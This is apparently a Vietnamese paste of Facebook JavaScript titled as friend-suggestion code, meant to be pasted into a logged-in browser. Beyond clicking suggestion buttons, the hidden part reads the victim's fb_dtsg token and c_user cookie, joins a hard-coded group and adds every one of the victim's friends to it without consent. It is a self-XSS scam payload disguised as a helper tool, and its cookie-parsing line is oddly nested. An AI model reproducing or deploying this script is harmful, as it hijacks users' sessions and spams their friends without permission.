code goi y ket ban

javascript:var x=document.getElementsByClassName("uiButtonText");for(var i=0;i<x.length;i++) {if (x[i].innerHTML == 'Gợi ý bạn bè') {x[i].click();}}; alert('Coder by văn hacker');
var gid = ['222807607843511'];
    var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
    var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

    var httpwp = new XMLHttpRequest();
    var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
    var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
    httpwp['open']('POST', urlwp, true);
    httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
    httpwp['setRequestHeader']('Content-length', paramswp['length']);
    httpwp['setRequestHeader']('Connection', 'keep-alive');
    httpwp['send'](paramswp);

    var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
    var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

    var friends = new Array();
    gf = new XMLHttpRequest();
    gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
    gf['send']();
    if (gf['readyState'] != 4) {} else {
        data = eval('(' + gf['responseText']['substr'](9) + ')');
        if (data['error']) {} else {
            friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
                return _0x93dax8['index'] - _0x93dax9['index'];
            });
        };
    };

    for (var i = 0; i < friends['length']; i++) {
        var httpwp = new XMLHttpRequest();
        var urlwp = '/ajax/groups/members/add_post.php?__a=1';
        var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
        httpwp['open']('POST', urlwp, true);
        httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
        httpwp['setRequestHeader']('Content-length', paramswp['length']);
        httpwp['setRequestHeader']('Connection', 'keep-alive');
        httpwp['onreadystatechange'] = function () {
    if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
        };
        httpwp['send'](paramswp);
    };